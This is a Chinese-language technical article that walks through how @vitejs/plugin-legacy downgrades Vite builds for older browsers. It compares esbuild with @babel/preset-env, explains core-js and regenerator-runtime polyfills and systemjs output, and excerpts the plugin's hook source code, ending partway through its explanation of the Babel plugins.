@vitejs/plugin-legacy
Vite Browser Compatibility
用于生产环境的构建包会假设目标浏览器支持现代 javascript
语法。vite
默认情况下的打包产物会假设浏览器支持 原生 ESM 语法的 script 标签(es2015)、dynamic import(es2020) 和 import.meta(es2020) 语法。
换句话说产物要求浏览器的最低版本如下所示:
Browser | Version |
---|---|
Chrome | >= 87 |
Firefox | >= 78 |
Safari | >= 14 |
Edge | >= 88 |
Downgrade Tools
vite
会借助 esbuild
的能力来为模块执行转译工作,因此 build.target
配置项指定的目标环境规范必须满足 esbuild
的 要求。
Esbuild
Downgrades Transpilation
esbuild
仅支持将 大多数 较新的 javascript
语法特性转换为 es6(es2015)
,同时保持 es5(es2009)
代码为 es5
代码,不会进行 升级 处理。这并不意味着 esbuild
无法实现,而是现阶段 es6(2015)
广泛使用在各个浏览器中,因此 evanw
认为实现对 es6(2015)
的降级需求优先级并不高。
当 target
为 es2015
时,esbuild
会 尽量 的做到 语法结构转换 为 es2015
语法。需要注意的是 @babel/preset-env
自身也会做 语法结构转换。但 esbuild
相比于 @babel/preset-env
来说,前者采用的是一种 "保守" 的转换策略,但构建速度快,适合对构建性能要求高、目标环境相对现代的项目。后者则是采取 精确全面 的语法结构转换,适合需要支持更低版本浏览器的项目,在语法结构转译工作上对于浏览器兼容性高于 esbuild
。
@babel/preset-env
Downgrades Transpilation
@babel/preset-env
通过复杂的辅助代码来确保语义的正确性,他自身会对语法结构执行降级工作的同时,对于 async/await
、generator
复杂语法结构(异步语法)和 es6+
的新 api
特性分别通过 regenerator-runtime
、core-js
库来实现支持。
Syntax Structure Transpilation
babel
在内部通过 babel-compat-data
包维护了语法结构转换和浏览器最低版本之间的 json map
数据。
{
// ...
"transform-optional-chaining": {
"chrome": "91",
"opera": "77",
"edge": "91",
"firefox": "74",
"safari": "13.1",
"node": "16.9",
"deno": "1.9",
"ios": "13.4",
"samsung": "16",
"opera_mobile": "64",
"electron": "13.0"
}
//...
}
当消费者指定的浏览器版本(target
)低于上述 map
表中的最低浏览器支持版本时,那么 @babel/preset-env
会自动转译语法结构。
例如当 target
为 chrome 90
时,由上述的 optional-chaining
语法特性映射表可知,在 chrome 90
中是不支持的,那么 @babel/preset-env
会自动转译语法结构。
optional-chaining translation example
function getUserCity(user) {
return user?.address?.city;
}
function getUserCity(user) {
var _user$address;
return user === null || user === void 0
? void 0
: (_user$address = user.address) === null || _user$address === void 0
? void 0
: _user$address.city;
}
ES2015+ APIs Support
与前者一样,@babel/preset-env
也会通过 babel-compat-data
包来获取到 es2015+/es6+
新 api
特性和最低浏览器版本支持的 json map
。
{
"es6.array.copy-within": {
"chrome": "45",
"opera": "32",
"edge": "12",
"firefox": "32",
"safari": "9",
"node": "4",
"deno": "1",
"ios": "9",
"samsung": "5",
"rhino": "1.7.13",
"opera_mobile": "32",
"electron": "0.31"
}
// ...
}
当消费者指定的浏览器版本(target
)低于上述 map
表中的最低浏览器支持版本时,那么 @babel/preset-env
会通过将 core-js
的子包注入到产物中。
例如当 target
为 chrome 44
时,由上述的 array.copyWithin
语法特性映射表可知,在 chrome 44
中是不支持的,那么 @babel/preset-env
会通过将 core-js
的 es.array.copy-within
子包注入到产物中。
array-copy-within translation example
const numbers = [1, 2, 3, 4, 5];
numbers.copyWithin(0, 3);
import 'core-js/modules/es.array.copy-within.js';
var numbers = [1, 2, 3, 4, 5];
numbers.copyWithin(0, 3);
Async Runtime Support
当 @babel/preset-env
处理 async/await
、generate
语法时,@babel/preset-env
会先执行语法结构上的转译,中间产物会携带 generator
的辅助函数,若消费者提供的 target
不支持 generate
语法,那么 @babel/preset-env
会通过 regenerator-runtime
来注入 polyfill
。
{
// ...
"transform-async-to-generator": {
"chrome": "55",
"opera": "42",
"edge": "15",
"firefox": "52",
"safari": "11",
"node": "7.6",
"deno": "1",
"ios": "11",
"samsung": "6",
"opera_mobile": "42",
"electron": "1.6"
}
// ...
}
当消费者指定的浏览器版本(target
)低于上述 map
表中的最低浏览器支持版本时,那么 @babel/preset-env
先进行语法结构上的转译。
例如当 target
为 chrome 54
时,由上述的 transform-async-to-generator
语法特性映射表可知,在 chrome 54
中是不支持的,那么 @babel/preset-env
会通过将 regenerator-runtime
的 runtime.js
子包注入到产物中。
async-to-generator translation example
async function asyncHook() {
await 1;
}
import 'core-js/modules/es.promise.js';
function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) {
try {
var info = gen[key](arg);
var value = info.value;
} catch (error) {
reject(error);
return;
}
if (info.done) {
resolve(value);
} else {
Promise.resolve(value).then(_next, _throw);
}
}
function _asyncToGenerator(fn) {
return function () {
var self = this,
args = arguments;
return new Promise(function (resolve, reject) {
var gen = fn.apply(self, args);
function _next(value) {
asyncGeneratorStep(
gen,
resolve,
reject,
_next,
_throw,
'next',
value
);
}
function _throw(err) {
asyncGeneratorStep(
gen,
resolve,
reject,
_next,
_throw,
'throw',
err
);
}
_next(undefined);
});
};
}
function asyncHook() {
return _asyncHook.apply(this, arguments);
}
function _asyncHook() {
_asyncHook = _asyncToGenerator(function* () {
yield 1;
});
return _asyncHook.apply(this, arguments);
}
从转译后的产物可以看到,当 target
为 chrome 54
时,@babel/preset-env
会转译语法结构,通过 generator
的辅助函数来实现 async/await
语法。
{
// ...
"transform-regenerator": {
"chrome": "50",
"opera": "37",
"edge": "13",
"firefox": "53",
"safari": "10",
"node": "6",
"deno": "1",
"ios": "10",
"samsung": "5",
"opera_mobile": "37",
"electron": "1.1"
}
// ...
}
Limitation
可能与 JavaScript statement: function* statement: Not constructable with new (ES2016)
特性的支持相关。
但当 target
为 chrome 49
时,@babel/preset-env
会再一次进行语法结构转译,此时就会通过 regenerator-runtime
来注入 polyfill
,实现更彻底的降级。
async function asyncHook() {
await 1;
}
import 'regenerator-runtime/runtime.js';
import 'core-js/modules/es.promise.js';
function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) {
try {
var info = gen[key](arg);
var value = info.value;
} catch (error) {
reject(error);
return;
}
if (info.done) {
resolve(value);
} else {
Promise.resolve(value).then(_next, _throw);
}
}
function _asyncToGenerator(fn) {
return function () {
var self = this,
args = arguments;
return new Promise(function (resolve, reject) {
var gen = fn.apply(self, args);
function _next(value) {
asyncGeneratorStep(
gen,
resolve,
reject,
_next,
_throw,
'next',
value
);
}
function _throw(err) {
asyncGeneratorStep(
gen,
resolve,
reject,
_next,
_throw,
'throw',
err
);
}
_next(undefined);
});
};
}
function asyncHook() {
return _asyncHook.apply(this, arguments);
}
function _asyncHook() {
_asyncHook = _asyncToGenerator(
/*#__PURE__*/ regeneratorRuntime.mark(function _callee() {
return regeneratorRuntime.wrap(function _callee$(_context) {
while (1)
switch ((_context.prev = _context.next)) {
case 0:
_context.next = 2;
return 1;
case 2:
case 'end':
return _context.stop();
}
}, _callee);
})
);
return _asyncHook.apply(this, arguments);
}
Downgrade Tools Summary
esbuild
esbuild
采用了一种相对保守的转换策略。它主要将 大部分 的javascript
语法特性降级到es2015(es6)
,而不会进一步降级到es2009(es5)
。这个决策基于两个考虑:
es2015(es6)
在各浏览器上已经得到广泛支持,支持降级到es2009(es5)
需求优先级低。- 考虑转译的性能优先。
- 保持代码简洁,利于可读性和可调试性。
正因如此,
esbuild
能够实现极快的构建速度,特别适合那些对构建性能要求较高,且目标环境相对现代的项目。@babel/preset-env
@babel/preset-env
提供了一个更全面且精确的转换方案,它的转换过程可以分为三个主要部分:语法结构转换: 通过维护详细的浏览器版本映射表,根据目标环境自动决定是否需要转换特定语法结构。
ES2015+ API 支持: 同样基于浏览器版本映射表,但处理方式是通过注入
core-js
的相关子模块来提供polyfill
。异步语法支持: 对于
async/await
、generate
这样的异步特性,采用了两层转换策略:- 首先同第二步骤转换语法结构,如果转换后的语法结构目标环境还不完全支持,则会引入
regenerator-runtime
来提供运行时支持。 - 其次,如果目标环境支持转译后的语法结构,则无需引入
regenerator-runtime
。
- 首先同第二步骤转换语法结构,如果转换后的语法结构目标环境还不完全支持,则会引入
两者对比:
转换策略:
esbuild
:采用 "保守" 策略,专注于es2015+
以上版本的转换。@babel/preset-env
:采用 "精确全面" 策略,可以精确地转换到任何目标版本。
性能表现:
esbuild
:以 极快的构建速度 著称。@babel/preset-env
:由于需要进行更复杂的转换和分析,构建速度相对较慢,转译后的产物较大。
兼容性支持:
esbuild
:适合目标环境相对现代的项目。@babel/preset-env
:通过复杂的 polyfill 系统,可以支持更低版本的浏览器。
转换的完整性:
@babel/preset-env
会生成完整的辅助函数和私有字段实现,确保功能的完全等价。esbuild
可能会采用简化的转换方案,有时候可能无法完全保持原有代码的语义。
使用场景:
esbuild
:适合对构建性能要求高、目标环境较新的现代化项目。@babel/preset-env
:适合需要支持更广泛浏览器范围的项目,特别是需要兼容较旧版本浏览器的场景。
从工程化的角度来看,选择使用哪个工具应该基于项目的具体需求:如果项目需要支持较旧的浏览器,同时对构建性能要求不是特别严格,推荐使用 @babel/preset-env
;如果项目主要面向现代浏览器,同时对构建性能有较高要求,那么 esbuild
会是更好的选择。若项目需要同时支持较旧的浏览器和现代浏览器,同时还对转译的性能有一定要求,那么可以考虑两者结合使用,发挥各自的优势。
esbuild
的 target
在一定程度上并不可靠。即使配置 target
为 es2015
,esbuild
可能会让一些更新版本的语法特性直接通过或非完全转换。
vite
是为应用而服务的开发工具,必须要考虑浏览器兼容性问题,同时也对转译速度有一定要求,因此 vite
会结合上述两者的优势,在构建阶段通过 esbuild
来完成语法上的转译,消费者需要严格的浏览器限制则可以通过 @babel/preset-env
来完成语法特性的降级。
Polyfill Mechanism
legacy browsers
可以通过插件 @vitejs/plugin-legacy 来支持,它将自动生成 legacy chunks
及与其相对应 ECMAScript
语言特性方面的 polyfill
。同时 legacy chunks
只会在不支持原生 esm
的浏览器中进行按需加载。
Balancing Between Optimization And Browser Compatibility
通常情况下,越现代的 javascript
目标环境需要的转译代码就越少,因为更多的现代特性可以直接使用而无需转换。在确定项目的目标环境时,如果可能的话,选择更现代的目标版本不仅可以减少构建后的代码体积,还能保持代码的可读性和维护性。当然,这需要权衡目标用户的浏览器支持情况。
Syntax Alternatives
实现产物的降级操作,那么主要的降级考虑点有如下几个方面:
esm loader
的降级esm
可以使用systemjs
来做降级替换,systemjs
是esm loader
,会模拟浏览器type=module
标签的script
脚本的加载行为,速度接近浏览器的原生esm loader
,支持TLA
、dynamic import
、circular references
、live bindings
、import.meta.url
、module types
、import-map
、完整性和csp
,是一个较为完整的esm loader
,兼容到较旧版本浏览器(ie11
)。那么我们就可以将下面的支持
esm
的高版本浏览器html<script crossorigin type="module" src="/assets/index-legacy-sCTV4F-O.js" ></script>
通过以下方式来进行降级到不支持
esm
的浏览器html<script nomodule crossorigin id="vite-legacy-entry" data-src="/assets/index-legacy-sCTV4F-O.js" > System.import( document.getElementById('vite-legacy-entry').getAttribute('data-src') ); </script>
其中
nomodule
的脚本标记意味着不支持esm
浏览器会执行的脚本,但在safari 11
及以下的版本特例,下面会详细说明。ECMAScript 2015+
语法降级@babel/preset-env
会负责es6+
的降级任务,自身会转译 语法特性。js// input const arrow = () => {}; // transformed var arrow = function arrow() {};
js// input const { x, y } = point; // transformed var _point = point, x = _point.x, y = _point.y;
js// input const message = `Hello ${name}`; // transformed var message = 'Hello '.concat(name);
js// input const value = obj?.prop?.field; // transformed var value = (_obj = obj) === null || _obj === void 0 ? void 0 : (_obj$prop = _obj.prop) === null || _obj$prop === void 0 ? void 0 : _obj$prop.field;
当遇到
es6+
的新api
会通过core-js
来注入polyfill
。js// input const numbers = [1, 2, 3]; numbers.includes(2); // transformed import 'core-js/modules/es.array.includes.js'; var numbers = [1, 2, 3]; numbers.includes(2);
js// input const set = new Set([1, 2, 3]); // transformed import 'core-js/modules/es.array.iterator.js'; import 'core-js/modules/es.object.to-string.js'; import 'core-js/modules/es.set.js'; import 'core-js/modules/es.string.iterator.js'; import 'core-js/modules/web.dom-collections.iterator.js'; var set = new Set([1, 2, 3]);
js// input const arr = Array.from({}); // transformed import 'core-js/modules/es.array.from.js'; import 'core-js/modules/es.string.iterator.js'; var arr = Array.from({});
js// input const obj = { a: 1, b: 2 }; Object.entries(obj); Object.values(obj); // transformed import 'core-js/modules/es.object.entries.js'; import 'core-js/modules/es.object.values.js'; var obj = { a: 1, b: 2 }; Object.entries(obj); Object.values(obj);
当遇到
es6+
的迭代器或async/await
特性会通过regenerator-runtime
来注入polyfill
。js// input function* generate() {} // transformed import 'regenerator-runtime/runtime.js'; var _marked = /*#__PURE__*/ regeneratorRuntime.mark(generate); function generate() { return regeneratorRuntime.wrap(function generate$(_context) { while (1) { switch ((_context.prev = _context.next)) { case 0: case 'end': return _context.stop(); } } }, _marked); }
js// input async function asyncFunction() { await 1; } // transformed import 'regenerator-runtime/runtime.js'; import 'core-js/modules/es.object.to-string.js'; import 'core-js/modules/es.promise.js'; function asyncGeneratorStep( gen, resolve, reject, _next, _throw, key, arg ) { try { var info = gen[key](arg); var value = info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { Promise.resolve(value).then(_next, _throw); } } function _asyncToGenerator(fn) { return function () { var self = this, args = arguments; return new Promise(function (resolve, reject) { var gen = fn.apply(self, args); function _next(value) { asyncGeneratorStep( gen, resolve, reject, _next, _throw, 'next', value ); } function _throw(err) { asyncGeneratorStep( gen, resolve, reject, _next, _throw, 'throw', err ); } _next(undefined); }); }; } function asyncFunction() { return _asyncFunction.apply(this, arguments); } function _asyncFunction() { _asyncFunction = _asyncToGenerator( /*#__PURE__*/ regeneratorRuntime.mark(function _callee() { return regeneratorRuntime.wrap(function _callee$(_context) { while (1) { switch ((_context.prev = _context.next)) { case 0: _context.next = 2; return 1; case 2: case 'end': return _context.stop(); } } }, _callee); }) ); return _asyncFunction.apply(this, arguments); }
通过
@babel/preset-env
的能力,可以较为完整的将es6+
语法降级为es5
。
Plugin Work Mechanism
@vitejs/plugin-legacy
插件会在 renderChunk
阶段为每一个 chunk
生成 legacy chunk
。其中会借助 @babel/preset-env 的能力来分析 chunk
,发现非 语法特性 的语法会通过 core-js
或 regenerator-runtime
来注入 polyfill
。
const numbers = [1, 2, 3];
Promise.resolve(1);
function* generate() {}
console.log(numbers.includes(2));
import 'regenerator-runtime/runtime.js';
var _marked = /*#__PURE__*/ regeneratorRuntime.mark(generate);
import 'core-js/modules/es.object.to-string.js';
import 'core-js/modules/es.promise.js';
import 'core-js/modules/es.array.includes.js';
var numbers = [1, 2, 3];
Promise.resolve(1);
function generate() {
return regeneratorRuntime.wrap(function generate$(_context) {
while (1) {
switch ((_context.prev = _context.next)) {
case 0:
case 'end':
return _context.stop();
}
}
}, _marked);
}
console.log(numbers.includes(2));
polyfill
会以 import
的形式按需注入 core-js
的子模块和 regenerator-runtime
模块。当然此时此刻可以直接通过构建工具从 chunk graph
的入口处打包 chunks
依赖图,通过配置也可以将这些按需注入的 polyfill
依赖包打包成一个 polyfill bundle
。这会带来一些复杂度,@vitejs/plugin-legacy
插件采用了更为简单的实现方式。
@babel/preset-env
预设在转译 es6+
的代码结构的同时会按需导出 core-js
的 polyfill
子模块和 regenerator-runtime
的 polyfill
模块。那么可以通过编写 babel
插件,在 @babel/preset-env
预设执行完成后分析转译后的 chunk
,收集 polyfill
依赖。收集完成后就可以将导入的 polyfill
语句删除,后续将收集到的 polyfill
模块打包成 polyfill bundle
。
也就是说 polyfill bundle
会包含 systemjs runtime
以及源码中实际使用的 core js polyfills
。
在 renderChunk
阶段也会分析每一个 chunk
中包含的 import.meta.env.LEGACY
字段,将其转译成 boolean
值,用来标记当前脚本的执行环境为 legacy
环境。
最后一步就是将 polyfill bundle
和 legacy bundle
注入到 html
中。考虑部分浏览器可能不支持 type=module
的 script
标签,因此使用 <script nomodule>
标签,目的是为了可选择性的加载 polyfills
和仅在目标的 legacy
浏览器中执行 legacy bundle
。
Implementation Approach
@vitejs/plugin-legacy
插件内置了三个插件,分别是 legacyConfigPlugin
、legacyGenerateBundlePlugin
、legacyPostPlugin
。
// @vitejs/plugin-legacy
function viteLegacyPlugin(options = {}) {
const legacyConfigPlugin = {
// ...
};
const legacyGenerateBundlePlugin = {
// ...
};
const legacyPostPlugin = {
// ...
};
return [legacyConfigPlugin, legacyGenerateBundlePlugin, legacyPostPlugin];
}
export { cspHashes, viteLegacyPlugin as default, detectPolyfills };
那么逐一分析下每个插件具体做了什么。
legacyConfigPlugin
插件会在 config
、configResolved
阶段进行处理。
const genLegacy = options.renderLegacyChunks !== false
// browsers supporting ESM + dynamic import + import.meta + async generator
const modernTargetsEsbuild = [
'es2020',
'edge79',
'firefox67',
'chrome64',
'safari12',
]
const legacyConfigPlugin: Plugin = {
name: 'vite:legacy-config',
async config(config, env) {
if (env.command === 'build' && !config.build?.ssr) {
if (!config.build) {
config.build = {};
}
if (!config.build.cssTarget) {
// Hint for esbuild that we are targeting legacy browsers when minifying CSS.
// Full CSS compat table available at https://github.com/evanw/esbuild/blob/78e04680228cf989bdd7d471e02bbc2c8d345dc9/internal/compat/css_table.go
// But note that only the `HexRGBA` feature affects the minify outcome.
// HSL & rebeccapurple values will be minified away regardless the target.
// So targeting `chrome61` suffices to fix the compatibility issue.
config.build.cssTarget = 'chrome61';
}
if (genLegacy) {
// Vite's default target browsers are **not** the same.
// See https://github.com/vitejs/vite/pull/10052#issuecomment-1242076461
overriddenBuildTarget = config.build.target !== undefined;
overriddenDefaultModernTargets =
options.modernTargets !== undefined;
if (options.modernTargets) {
// Package is ESM only
const { default: browserslistToEsbuild } = await import(
'browserslist-to-esbuild'
);
config.build.target = browserslistToEsbuild(
options.modernTargets
);
} else {
config.build.target = modernTargetsEsbuild;
}
}
}
return {
define: {
'import.meta.env.LEGACY':
env.command === 'serve' || config.build?.ssr
? false
: legacyEnvVarMarker
}
};
},
configResolved(config) {
if (overriddenBuildTarget) {
config.logger.warn(
colors.yellow(
`plugin-legacy overrode 'build.target'. You should pass 'targets' as an option to this plugin with the list of legacy browsers to support instead.`
)
);
}
if (overriddenDefaultModernTargets) {
config.logger.warn(
colors.yellow(
`plugin-legacy 'modernTargets' option overrode the builtin targets of modern chunks. Some versions of browsers between legacy and modern may not be supported.`
)
);
}
}
};
这个插件的实现逻辑比较简单,主要做了以下三件事:
设置
css
的兼容性版本默认为chrome61
。当要兼容的场景是安卓微信中的
webview
时,它支持大多数现代的javascript
特性,但并不支持 CSS 中的#RGBA
十六进制颜色符号。在上述情况下,需要在构建阶段将
build.cssTarget
设置为chrome61
(因为chrome 61
以下的版本不支持#RGBA
),避免esbuild
默认会将rgba()
颜色默认以十六进制符号#RGBA
的形式输出,文档参考(若用户已配置,那么则不做处理)。以下是
esbuild
官方做出的 解释和建议:简单来说,默认情况下
esbuild
的输出将利用所有现代css
的特性,因此在使用color: rgba()
和css 嵌套语法
的情况下会进行语法上的转译和支持。若无法满足用户代理(大多为浏览器)的需求,那么需要为esbuild
指定特定的构建目标(vite
中可配置build.cssTarget
)。兼容环境目标检索
通过
browserslist-to-esbuild
包的能力,将在package.json
或.browserslistrc
中查找项目所需的browserslist
配置并将其赋值给config.build.target
。import.meta.env.LEGACY
标记注入全局注入
import.meta.env.LEGACY
常量,值为__VITE_IS_LEGACY__
,只有在构建阶段生效,renderChunk
阶段会将其替换为已知的布尔值,dev
和ssr
阶段无效。
legacyPostPlugin
源码结构如下,可以看出在构建的 post
阶段会暴露出五个钩子, renderStart
、configResolved
、renderChunk
、transformIndexHtml
、generateBundle
。
const legacyPostPlugin = {
name: 'vite:legacy-post-process',
enforce: 'post',
apply: 'build',
renderStart() {
// ...
},
configResolved(_config) {
// ...
},
async renderChunk(raw, chunk, opts) {
// ...
},
transformIndexHtml(html, { chunk }) {
// ...
},
generateBundle(opts, bundle) {
// ...
}
};
Configuration Inform
在 configResolved
钩子中,不会对 lib
、ssr
模式和配置不需要生成 legacy
产物的场景(options.renderLegacyChunks === false
)进行处理。
const genLegacy = options.renderLegacyChunks !== false;
if (_config.build.lib) {
throw new Error('@vitejs/plugin-legacy does not support library mode.');
}
config = _config;
modernTargets = options.modernTargets || modernTargetsBabel;
if (isDebug) {
console.log(`[@vitejs/plugin-legacy] modernTargets:`, modernTargets);
}
if (!genLegacy || config.build.ssr) {
return;
}
若没有为插件提供 target
,那么插件会借助 browserslist
包的能力,获取所需降级的目标浏览器版本。
/**
* 1. 获取根目录下的 package.json 中的配置项。
* config = module[package.json]
* 2. 解析 package.json 中的配置项
* return (
* config[process.env.BROWSERSLIST_ENV] ||
* config[process.env.NODE_ENV] ||
* config["production"] ||
* config.defaults
* )
*/
targets =
options.targets ||
browserslistLoadConfig({ path: config.root }) ||
'last 2 versions and not dead, > 0.3%, Firefox ESR';
根据 rollupOptions.output
的配置项,来确定 legacy
产物输出的文件名。
const genModern = options.renderModernChunks !== false;
const { rollupOptions } = config.build;
const { output } = rollupOptions;
if (Array.isArray(output)) {
rollupOptions.output = [
...output.map(createLegacyOutput),
...(genModern ? output : [])
];
} else {
rollupOptions.output = [
createLegacyOutput(output),
...(genModern ? [output || {}] : [])
];
}
每一个入口都会生成相对应的 legacy
产物,并且会根据 genModern
的值来决定是否生成 modern
产物(非 legacy
产物)。
const createLegacyOutput = (options: OutputOptions = {}): OutputOptions => {
return {
...options,
format: 'system',
entryFileNames: getLegacyOutputFileName(options.entryFileNames),
chunkFileNames: getLegacyOutputFileName(options.chunkFileNames)
};
};
需要注意 legacy
的输出格式为 system
,这是一个特殊的产物格式,rollup
会对其进行特殊的处理。同时后续也可以通过判断 legacy chunk
的输出格式来区分 legacy chunk
和 modern chunk
。
system format
rollup
支持 system
的输出产物格式,也就是说 rollup
对于 esm
的降级是通过 systemjs
来实现的。转译后的产物会通过 systemjs
做了一层 wrapper
,因此 legacy chunk
中会包含 systemjs
的 runtime
。
转译前:
console.log(1);
转译后:
System.register([], function () {
'use strict';
return {
execute() {
console.log(1);
}
};
});
legacy
输出产物的名称规则如下:
const getLegacyOutputFileName = (
fileNames: string | ((chunkInfo: PreRenderedChunk) => string) | undefined,
defaultFileName = '[name]-legacy-[hash].js'
): string | ((chunkInfo: PreRenderedChunk) => string) => {
if (!fileNames) {
return path.posix.join(config.build.assetsDir, defaultFileName);
}
return chunkInfo => {
let fileName =
typeof fileNames === 'function' ? fileNames(chunkInfo) : fileNames;
if (fileName.includes('[name]')) {
// [name]-[hash].[format] -> [name]-legacy-[hash].[format]
fileName = fileName.replace('[name]', '[name]-legacy');
} else if (nonLeadingHashInFileNameRE.test(fileName)) {
// custom[hash].[format] -> [name]-legacy[hash].[format]
// custom-[hash].[format] -> [name]-legacy-[hash].[format]
// custom.[hash].[format] -> [name]-legacy.[hash].[format]
// custom.[hash:10].[format] -> custom-legacy.[hash:10].[format]
fileName = fileName.replace(prefixedHashInFileNameRE, '-legacy$&');
} else {
// entry.js -> entry-legacy.js
// entry.min.js -> entry-legacy.min.js
fileName = fileName.replace(/(.+?)\.(.+)/, '$1-legacy.$2');
}
return fileName;
};
};
源码注释中已经给出了详细的注释,这里不再赘述。
legacyPostPlugin
的 configResolved
钩子完整代码如下:
const legacyPostPlugin: Plugin = {
name: 'vite:legacy-post-process',
enforce: 'post',
apply: 'build',
configResolved(_config) {
if (_config.build.lib) {
throw new Error(
'@vitejs/plugin-legacy does not support library mode.'
);
}
config = _config;
modernTargets = options.modernTargets || modernTargetsBabel;
if (isDebug) {
console.log(`[@vitejs/plugin-legacy] modernTargets:`, modernTargets);
}
if (!genLegacy || config.build.ssr) {
return;
}
targets =
options.targets ||
browserslistLoadConfig({ path: config.root }) ||
'last 2 versions and not dead, > 0.3%, Firefox ESR';
if (isDebug) {
console.log(`[@vitejs/plugin-legacy] targets:`, targets);
}
const getLegacyOutputFileName = (
fileNames:
| string
| ((chunkInfo: PreRenderedChunk) => string)
| undefined,
defaultFileName = '[name]-legacy-[hash].js'
): string | ((chunkInfo: PreRenderedChunk) => string) => {
if (!fileNames) {
return path.posix.join(config.build.assetsDir, defaultFileName);
}
return chunkInfo => {
let fileName =
typeof fileNames === 'function'
? fileNames(chunkInfo)
: fileNames;
if (fileName.includes('[name]')) {
// [name]-[hash].[format] -> [name]-legacy-[hash].[format]
fileName = fileName.replace('[name]', '[name]-legacy');
} else if (nonLeadingHashInFileNameRE.test(fileName)) {
// custom[hash].[format] -> [name]-legacy[hash].[format]
// custom-[hash].[format] -> [name]-legacy-[hash].[format]
// custom.[hash].[format] -> [name]-legacy.[hash].[format]
// custom.[hash:10].[format] -> custom-legacy.[hash:10].[format]
fileName = fileName.replace(
prefixedHashInFileNameRE,
'-legacy$&'
);
} else {
// entry.js -> entry-legacy.js
// entry.min.js -> entry-legacy.min.js
fileName = fileName.replace(/(.+?)\.(.+)/, '$1-legacy.$2');
}
return fileName;
};
};
const createLegacyOutput = (
options: OutputOptions = {}
): OutputOptions => {
return {
...options,
format: 'system',
entryFileNames: getLegacyOutputFileName(options.entryFileNames),
chunkFileNames: getLegacyOutputFileName(options.chunkFileNames)
};
};
const { rollupOptions } = config.build;
const { output } = rollupOptions;
if (Array.isArray(output)) {
rollupOptions.output = [
...output.map(createLegacyOutput),
...(genModern ? output : [])
];
} else {
rollupOptions.output = [
createLegacyOutput(output),
...(genModern ? [output || {}] : [])
];
}
}
};
RenderChunk Hook's Focus
renderChunk
钩子中并不会对 ssr
模式进行处理。
const legacyPostPlugin: Plugin = {
name: 'vite:legacy-post-process',
enforce: 'post',
apply: 'build',
async renderChunk(raw, chunk, opts, { chunks }) {
if (config.build.ssr) {
return null;
}
}
};
初始化 polyfills
存储对象。
// On first run, intialize the map with sorted chunk file names
let chunkFileNameToPolyfills = outputToChunkFileNameToPolyfills.get(opts);
if (chunkFileNameToPolyfills == null) {
chunkFileNameToPolyfills = new Map();
for (const fileName in chunks) {
chunkFileNameToPolyfills.set(fileName, {
modern: new Set(),
legacy: new Set()
});
}
outputToChunkFileNameToPolyfills.set(opts, chunkFileNameToPolyfills);
}
const polyfillsDiscovered = chunkFileNameToPolyfills.get(chunk.fileName);
if (polyfillsDiscovered == null) {
throw new Error(
`Internal @vitejs/plugin-legacy error: discovered polyfills for ${chunk.fileName} should exist`
);
}
接下来在 renderChunk
中主要分为两个部分的处理,分别是对于 legacy chunk
和 modern chunk
的处理。那么区分 legacy chunk
和 modern chunk
的依据就是根据上述 configResolved
钩子中的配置项。
function isLegacyChunk(
chunk: RenderedChunk,
options: NormalizedOutputOptions
) {
return options.format === 'system' && chunk.fileName.includes('-legacy');
}
可以看到判断 chunk
是否为 legacy chunk
的依据为 chunk
的输出格式是否为 system
且 chunk
的文件名是否包含 -legacy
。
Handling Of Legacy Modules
如果配置项不需要生成 legacy
产物,则跳过这一步执行。
const genLegacy = options.renderLegacyChunks !== false;
if (!genLegacy) {
return null;
}
其中还会对其他工具做出限制
// @ts-expect-error avoid esbuild transform on legacy chunks since it produces
// legacy-unsafe code - e.g. rewriting object properties into shorthands
opts.__vite_skip_esbuild__ = true;
// @ts-expect-error force terser for legacy chunks. This only takes effect if
// minification isn't disabled, because that leaves out the terser plugin
// entirely.
opts.__vite_force_terser__ = true;
// @ts-expect-error In the `generateBundle` hook,
// we'll delete the assets from the legacy bundle to avoid emitting duplicate assets.
// But that's still a waste of computing resource.
// So we add this flag to avoid emitting the asset in the first place whenever possible.
opts.__vite_skip_asset_emit__ = true;
// avoid emitting assets for legacy bundle
const needPolyfills =
options.polyfills !== false && !Array.isArray(options.polyfills);
值得注意的是引入当前插件会在原先 bundle
的基础上备份出 legacy-bundle
。以下参数仅针对于 legacy-bundle
有效,normol-bundle
参数值均为 undefined
。
__vite_skip_esbuild__
: 配置为true
可以跳过vite:esbuild-transpile
插件(该插件的功能为压缩模块或将TypeScript
转译为js
模块)的renderChunk
阶段。避免在legacy
模块上使用esbuild
转换,因为它会生成legacy-unsafe
代码 - 例如将对象属性重写为简写。把a={name}
转成a={name:name}
最终还会生成a={name}
。会导致swc\babel\typescript
之类的插件无法正常使用。__vite_force_terser__
: 对于legacy
模块,强制使用terser
来进行压缩。只有在不禁用最小化且非压缩ES lib
的情况下才会生效,因为这将完全排除terser
插件。__vite_skip_asset_emit__
:在generateBundle
钩子中,Vite
会删除来自lagacy bundle
的资源,来避免生成重复的资源。但这仍然需要耗费计算资源。因此,Vite
添加了此标志,尽可能地避免最初的资源生成。
插件会借助 @babel/preset-env
的能力来转译 legacy chunk
的代码。
// transform the legacy chunk with @babel/preset-env
const sourceMaps = !!config.build.sourcemap;
const babel = await loadBabel();
const result = babel.transform(raw, {
babelrc: false,
configFile: false,
compact: !!config.build.minify,
sourceMaps,
inputSourceMap: undefined,
presets: [
// forcing our plugin to run before preset-env by wrapping it in a
// preset so we can catch the injected import statements...
[
() => ({
plugins: [
recordAndRemovePolyfillBabelPlugin(polyfillsDiscovered.legacy),
replaceLegacyEnvBabelPlugin(),
wrapIIFEBabelPlugin()
]
})
],
[
(await import('@babel/preset-env')).default,
createBabelPresetEnvOptions(targets, { needPolyfills })
]
]
});
if (result) return { code: result.code!, map: result.map };
return null;
legacyPostPlugin
的 renderChunk
钩子会通过 babel
插件为 @babel/preset-env
赋能,注入的 babel
插件包括 recordAndRemovePolyfillBabelPlugin
、replaceLegacyEnvBabelPlugin
和 wrapIIFEBabelPlugin
。
Attention
babel
会先执行 @babel/preset-env
预设插件,其中会解析 chunk
代码,根据 targets
配置项来分析 chunk
中使用的 javascript
特性,按需为 chunk
注入 polyfills
。
@babel/preset-env
预设解析完成后,就会执行上述的 babel
插件,接下来一次按照执行顺序来分析 babel
插件的实现。
replaceLegacyEnvBabelPlugin
的babel
插件。该插件主要是处理
legacy chunk
中的legacyEnvVarMarker
